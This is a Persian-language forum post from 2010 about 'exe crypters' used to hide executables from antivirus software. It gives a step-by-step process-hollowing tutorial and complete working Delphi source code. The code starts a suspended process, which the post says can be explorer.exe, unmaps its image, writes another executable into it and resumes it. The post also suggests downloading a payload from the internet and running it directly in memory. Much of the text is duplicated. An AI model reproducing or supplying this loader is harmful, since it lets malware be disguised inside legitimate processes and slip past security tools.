۱۴-مرداد-۱۳۸۹, ۱۰:۳۱:۵۴
حتما دیدن که بورس exe crypto تو فورمهای خارجی حسابی داغه اصول کار اینها از چند بخش تشکیل میشه
1.ادیتور که فایل مورد نظر رو کد یا فشرده(یا ترکیبی از هر 2) میکنه و در انتها یا قسمتی سرور قرار میده
2.سرور که در حقیقت یه loader هست که فایل رو از انتها یا محل خاص خونده بعد از دیکود یا دیکامپرس کردن اونو بوسیله loader در حافظه بارگزاری میکنه
اساس کار لودر ها به صورت زیر هست
بارگزاری فایلهای exe در حافظه
این مقاله به شما نشان میدهد که چگونه میتوان یک فایل win32.exe را در فضای ادرسی یک پروسه که با استفاده از تابع api موسوم به Create process در حالت CREATE_SUSPENDED به وجود امده است بارگزاری کرد در ویندوز میتوان یک پروسه در حالت معوق(بیکار) ایجاد کرد با استفاده از پارامتر CREATE_SUSPENDED ایجاد نمود اطلاعات exe توسط توسط ویندوز درون حافظه بارگزاری می شود اما اجرا اغاز نخواهد شد تا زمانی که از ResumeTHread استفاده شود .قبل از فراخوانی resume Thread ما قادرخواهیم بود فضای ادرسی ایجاد شده توسط پروسه را با استفاده از توابع readProcessMemory و WriteProcesMemory بخوانیم یا بنویسیم این بدان معناست که ما می توانیم اطلاعات exe اصلی درون پروسه را به اطلاعات یک exe دیگر تغییر دهیم یعنی این که ما میتوانیم یک فایل Exe را با پروسه exe دیگر اجرا کنیم انجام این کار با انجام مراحل زیر امکانپذیر خواهد بود
1.استفاده از تابع CreateProcess با استفاده از پارامتر CREATE_SUSPENDEDبرای ایجاد یک پروسه در حالت معوق
توجه داشته باشید (0)paramstr ادرس فایل اجرایی شما می باشد که در اینجا ادرس فایل پروسه اصلی شما می باشد که می توانید به جای ان ادرس فایلهای اجرایی دیگر نظیر explorer.exe یا ctfmon.exe یا. alg exe را بدهید البته با ادرس کامل به این صورت c:\WINDOWS\explorer.exe
2.فراخوانی تابع GetThreadContext برای بدست اوردن مقدار رجیستر ریسمان پروسه بیکار(suspend).مقدار رجیستر EBX ریسمان یک اشاره گر به مقدار PEB (Process Envorinment Block)پروسه می باشد .رجیستر EBX شامل ادرس Entry Point فایل اولیه می باشد
.Base_Address فایل Exe اولیه را از PEB پروسه معوق بدست می اوریم که در ادرس 8 + EAX قرار دارد
.اکنون exe دوم را در حافظه بارگزاری میکنیم با استفاده از ReadFile مقدار Alignment مورد نظر را به دست می اوریم به دست اوردن این مقدار لازم است اگر مقدار FileAlignment با MemoryAlignment برابر نباشد
5.اگر فایل exe دوم دارای Base-Address برابر پروسه معوق داشته باشد و image-size ان کوچکتر مساوی image-size فایل Exe اول باشد در این حالت به راحتی با استفاده از تابع WriteProcessMemory می توان اطلاعات (image)فایل Exe دومی را بر روی پروسه از مکان Base-Address بازنویسی کرد
6.در غیر این صورت با پاک کردن(unmap) نگاشت exe اولیه استفاده از تابع ZwUnmapViewOfSectionکه در NTDLL.dll قرار دارد تابع فوق سکشنهای موجود را از BaseAddress تا انتها پاک میکند و اختصاص فضای لازم در فضای ادرسی پروسه معوق با استفاده از تابع VirtualAllocEx برای بارگزاری فایل Exe دوم را ایجاد کنید.ایجاد فضای لازم توسط VirtualAllocEx باید با استفاده از Base-Address فایل Exe دوم محاصبه شود تا مطمئن شویم ویندوز فضای مورد نیاز را به ما اختصاص میدهد اکنون اطلاعات (image) فایل Exe دومی را درون فضای ادرسی پروسه از نقطه شروع فضای اختصاص داده شده با استفاده از تابع WriteProcessMemory کپی میکنیم
در اینجا ما از مقدار PAGE_EXECUTE_READWRITEاستفاده کردیم اگر از مقدار PAGE_ READWRITEاستفاده کنید باید با استفاده از تابع VirtualProtectEx به صورت دستی خاصیت سکشن code یا Text را به حالت اجرایی تغییر دهید
حالا مقدار از ابتدای فایل به طول SizeOfHeaders خوانده و از ابتدای ادرس ImageBase فایل دوم در حافظه پروسه می نویسیم
در اینجا ما از مقدار PAGE_EXECUTE_READWRITEاستفاده کردیم اگر از مقدار PAGE_ READWRITEاستفاده کنید باید با استفاده از تابع VirtualProtectEx به صورت دستی خاصیت سکشن code یا Text را به حالت اجرایی تغییر دهید
حالا مقدار از ابتدای فایل به طول SizeOfHeaders خوانده و از ابتدای ادرس ImageBase فایل دوم در حافظه پروسه می نویسیم
حالا اطلاعات سکشنها را از هدر ان خوانده و در حافظه پروسه مینویسیم
حالا اطلاعات Entrypoint و ImageBase را سرجای خود قرار میدهیم
7.اگر به دلیلی عمل Unmap با شکست مواجه شد میتوان Exe دوم را جابجا کرد(relocation)ابتدا با استفاده از تابع
VirtualAllocEx فضای لازم برای بارگزاری فایل دوم در هر نقطه از پروسه معوق ایجاد کنید حالا به صورت دستی Base ادرس فایل Exe دوم را به نسبت ادرس فضای اختصاص داده شده جدید تنظیم کنید سپس فایل exe دومی را با اطلاعات جدید در ادرس جدید اختصاص داده شده در پروسه معوق با استفاده از تابع WriteProcessMemory بارگزاری کنید
8.اکنون Base-Address فایل Exe دومی را درون PEB پروسه معوق قرار دهید EAX+8
حالا مقدار EAX را برابر Entry Point فایل Exe دومی قرار دهید زیرا در ویندوز مبنای شروع اجرا از EntryPoint می باشد که در ثبات EAX قرار میگیرد
با استفاده از تابع SetThreadContext مقدار Thread Context پروسه معوق را به مقدار جدید تغییر دهید
با استفاده از تابع ResumeThread ریسمان پروسه معوق را به اجرا در اورید
برای استفاده کافیست بدین صورت عمل کنید
البته در صورت نیاز می توانید از LoadFromStream نیز برای بارگزاری فایلها از stream ها نظیر Filestream یا resourceStream نیز استفاده کنید یا فایل را در ارایه ای از بایت قرار داده وادرس انرا به تابع بدهید loadexe(@buffer[0]) و همچنین میتوانید با استفاده از تابع UrlDownloadToFile درون یونیت URLMON فایل را از اینترنت ذانلود کرده و مستقیما درون حافظه یک پروسه اجرا نمایید
سایز ImageBase را حتما تغییر دهید تا در هنگام بارگزاری برنامه هایی که ImageBase یکسانی با پروسه اولیه دارند با مشکل مواجه نشوند
سورس کامل برنامه به صورت زیر می باشد
1.ادیتور که فایل مورد نظر رو کد یا فشرده(یا ترکیبی از هر 2) میکنه و در انتها یا قسمتی سرور قرار میده
2.سرور که در حقیقت یه loader هست که فایل رو از انتها یا محل خاص خونده بعد از دیکود یا دیکامپرس کردن اونو بوسیله loader در حافظه بارگزاری میکنه
اساس کار لودر ها به صورت زیر هست
بارگزاری فایلهای exe در حافظه
این مقاله به شما نشان میدهد که چگونه میتوان یک فایل win32.exe را در فضای ادرسی یک پروسه که با استفاده از تابع api موسوم به Create process در حالت CREATE_SUSPENDED به وجود امده است بارگزاری کرد در ویندوز میتوان یک پروسه در حالت معوق(بیکار) ایجاد کرد با استفاده از پارامتر CREATE_SUSPENDED ایجاد نمود اطلاعات exe توسط توسط ویندوز درون حافظه بارگزاری می شود اما اجرا اغاز نخواهد شد تا زمانی که از ResumeTHread استفاده شود .قبل از فراخوانی resume Thread ما قادرخواهیم بود فضای ادرسی ایجاد شده توسط پروسه را با استفاده از توابع readProcessMemory و WriteProcesMemory بخوانیم یا بنویسیم این بدان معناست که ما می توانیم اطلاعات exe اصلی درون پروسه را به اطلاعات یک exe دیگر تغییر دهیم یعنی این که ما میتوانیم یک فایل Exe را با پروسه exe دیگر اجرا کنیم انجام این کار با انجام مراحل زیر امکانپذیر خواهد بود
1.استفاده از تابع CreateProcess با استفاده از پارامتر CREATE_SUSPENDEDبرای ایجاد یک پروسه در حالت معوق
کد:
ZeroMemory(@si,SizeOf(tStartupInfo));
SI.cb:=SizeOf(tStartupInfo);
CreateProcess(nil,pchar(ParamStr(0)),nil,nil,False,CREATE_SUSPENDED,nil,nil,SI,PI);
توجه داشته باشید (0)paramstr ادرس فایل اجرایی شما می باشد که در اینجا ادرس فایل پروسه اصلی شما می باشد که می توانید به جای ان ادرس فایلهای اجرایی دیگر نظیر explorer.exe یا ctfmon.exe یا. alg exe را بدهید البته با ادرس کامل به این صورت c:\WINDOWS\explorer.exe
2.فراخوانی تابع GetThreadContext برای بدست اوردن مقدار رجیستر ریسمان پروسه بیکار(suspend).مقدار رجیستر EBX ریسمان یک اشاره گر به مقدار PEB (Process Envorinment Block)پروسه می باشد .رجیستر EBX شامل ادرس Entry Point فایل اولیه می باشد
کد:
context.ContextFlags:=CONTEXT_FULL;
GetThreadContext(PI.hThread,context);
.Base_Address فایل Exe اولیه را از PEB پروسه معوق بدست می اوریم که در ادرس 8 + EAX قرار دارد
کد:
ReadProcessMemory(PI.hProcess,Pointer(context.Ebx+8),@adder,4,ret);
.اکنون exe دوم را در حافظه بارگزاری میکنیم با استفاده از ReadFile مقدار Alignment مورد نظر را به دست می اوریم به دست اوردن این مقدار لازم است اگر مقدار FileAlignment با MemoryAlignment برابر نباشد
5.اگر فایل exe دوم دارای Base-Address برابر پروسه معوق داشته باشد و image-size ان کوچکتر مساوی image-size فایل Exe اول باشد در این حالت به راحتی با استفاده از تابع WriteProcessMemory می توان اطلاعات (image)فایل Exe دومی را بر روی پروسه از مکان Base-Address بازنویسی کرد
6.در غیر این صورت با پاک کردن(unmap) نگاشت exe اولیه استفاده از تابع ZwUnmapViewOfSectionکه در NTDLL.dll قرار دارد تابع فوق سکشنهای موجود را از BaseAddress تا انتها پاک میکند و اختصاص فضای لازم در فضای ادرسی پروسه معوق با استفاده از تابع VirtualAllocEx برای بارگزاری فایل Exe دوم را ایجاد کنید.ایجاد فضای لازم توسط VirtualAllocEx باید با استفاده از Base-Address فایل Exe دوم محاصبه شود تا مطمئن شویم ویندوز فضای مورد نیاز را به ما اختصاص میدهد اکنون اطلاعات (image) فایل Exe دومی را درون فضای ادرسی پروسه از نقطه شروع فضای اختصاص داده شده با استفاده از تابع WriteProcessMemory کپی میکنیم
کد:
NtUnmapViewOfSection(PI.hProcess,@adder);
inh:=Pointer(dword(data)+pimagedosheader(data)._lfanew);
ibase:=VirtualAllocEx(PI.hProcess,Pointer(inh.OptionalHeader.ImageBase),inh.OptionalHeader.SizeOfImage,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE);
در اینجا ما از مقدار PAGE_EXECUTE_READWRITEاستفاده کردیم اگر از مقدار PAGE_ READWRITEاستفاده کنید باید با استفاده از تابع VirtualProtectEx به صورت دستی خاصیت سکشن code یا Text را به حالت اجرایی تغییر دهید
حالا مقدار از ابتدای فایل به طول SizeOfHeaders خوانده و از ابتدای ادرس ImageBase فایل دوم در حافظه پروسه می نویسیم
کد:
WriteProcessMemory(PI.hProcess,Pointer(inh.OptionalHeader.ImageBase),data,inh.OptionalHeader.SizeOfHeaders,Ret);
در اینجا ما از مقدار PAGE_EXECUTE_READWRITEاستفاده کردیم اگر از مقدار PAGE_ READWRITEاستفاده کنید باید با استفاده از تابع VirtualProtectEx به صورت دستی خاصیت سکشن code یا Text را به حالت اجرایی تغییر دهید
حالا مقدار از ابتدای فایل به طول SizeOfHeaders خوانده و از ابتدای ادرس ImageBase فایل دوم در حافظه پروسه می نویسیم
کد:
WriteProcessMemory(PI.hProcess,Pointer(inh.OptionalHeader.ImageBase),data,inh.OptionalHeader.SizeOfHeaders,Ret);
حالا اطلاعات سکشنها را از هدر ان خوانده و در حافظه پروسه مینویسیم
کد:
offset:=dword(pimagedosheader(data)._lfanew)+248;
for i:=0 to inh.FileHeader.NumberOfSections-1 do
begin
ish:=Pointer(dword(data)+offset+(i*40));
WriteProcessMemory(PI.hProcess,pointer(inh.OptionalHeader.ImageBase+ish.VirtualAddress),Pointer(dword(data)+ish.PointerToRawData),ish.SizeOfRawData,ret);
end;
حالا اطلاعات Entrypoint و ImageBase را سرجای خود قرار میدهیم
7.اگر به دلیلی عمل Unmap با شکست مواجه شد میتوان Exe دوم را جابجا کرد(relocation)ابتدا با استفاده از تابع
VirtualAllocEx فضای لازم برای بارگزاری فایل دوم در هر نقطه از پروسه معوق ایجاد کنید حالا به صورت دستی Base ادرس فایل Exe دوم را به نسبت ادرس فضای اختصاص داده شده جدید تنظیم کنید سپس فایل exe دومی را با اطلاعات جدید در ادرس جدید اختصاص داده شده در پروسه معوق با استفاده از تابع WriteProcessMemory بارگزاری کنید
8.اکنون Base-Address فایل Exe دومی را درون PEB پروسه معوق قرار دهید EAX+8
کد:
WriteProcessMemory(PI.hProcess,Pointer(context.Ebx+8),@ibase,4,ret);
حالا مقدار EAX را برابر Entry Point فایل Exe دومی قرار دهید زیرا در ویندوز مبنای شروع اجرا از EntryPoint می باشد که در ثبات EAX قرار میگیرد
کد:
context.Eax:=dword(ibase)+inh.OptionalHeader.AddressOfEntryPoint;
با استفاده از تابع SetThreadContext مقدار Thread Context پروسه معوق را به مقدار جدید تغییر دهید
کد:
SetThreadContext(PI.hThread,context);
با استفاده از تابع ResumeThread ریسمان پروسه معوق را به اجرا در اورید
کد:
ResumeThread(PI.hThread);
برای استفاده کافیست بدین صورت عمل کنید
کد:
procedure TForm1.Button1Click(Sender: TObject);
var
memory:TMemoryStream;
begin
if OpenDialog1.Execute then
begin
memory:=TMemoryStream.Create;
memory.LoadFromFile(OpenDialog1.FileName);
loadexe(memory.Memory);
memory.Free;
end;
end;
سایز ImageBase را حتما تغییر دهید تا در هنگام بارگزاری برنامه هایی که ImageBase یکسانی با پروسه اولیه دارند با مشکل مواجه نشوند
سورس کامل برنامه به صورت زیر می باشد
کد:
unit xxxload;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
OpenDialog1: TOpenDialog;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$IMAGEBASE 1000000}
{$R *.dfm}
function NtUnmapViewOfSection(ProcessHandle: THandle; BaseAddress: Pointer): DWORD; stdcall; external 'ntdll.dll';
procedure loadexe(data:Pointer);
var
PI:TProcessInformation;
SI:TStartUpInfo;
context:TContext;
inh:PImageNtHeaders;
ish:PImageSectionHeader;
adder,ret,offset:DWORD;
ibase:Pointer;
i:Integer;
begin
inh:=Pointer(dword(data)+pimagedosheader(data)._lfanew);
ZeroMemory(@si,SizeOf(tStartupInfo));
SI.cb:=SizeOf(tStartupInfo);
CreateProcess(nil,pchar(ParamStr(0)),nil,nil,False,CREATE_SUSPENDED,nil,nil,SI,PI);
context.ContextFlags:=CONTEXT_FULL;
GetThreadContext(PI.hThread,context);
ReadProcessMemory(PI.hProcess,Pointer(context.Ebx+8),@adder,4,ret);
NtUnmapViewOfSection(PI.hProcess,@adder);
ibase:=VirtualAllocEx(PI.hProcess,Pointer(inh.OptionalHeader.ImageBase),inh.OptionalHeader.SizeOfImage,MEM_COMMIT or MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess,Pointer(inh.OptionalHeader.ImageBase),data,inh.OptionalHeader.SizeOfHeaders,Ret);
//248:=SizeOf of ntheader
offset:=dword(pimagedosheader(data)._lfanew)+248;
for i:=0 to inh.FileHeader.NumberOfSections-1 do
begin
ish:=Pointer(dword(data)+offset+(i*40));
WriteProcessMemory(PI.hProcess,pointer(inh.OptionalHeader.ImageBase+ish.VirtualAddress),Pointer(dword(data)+ish.PointerToRawData),ish.SizeOfRawData,ret);
end;
WriteProcessMemory(PI.hProcess,Pointer(context.Ebx+8),@ibase,4,ret);
context.Eax:=dword(ibase)+inh.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread,context);
ResumeThread(PI.hThread);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
memory:TMemoryStream;
begin
if OpenDialog1.Execute then
begin
memory:=TMemoryStream.Create;
memory.LoadFromFile(OpenDialog1.FileName);
loadexe(memory.Memory);
memory.Free;
end;
end;
end.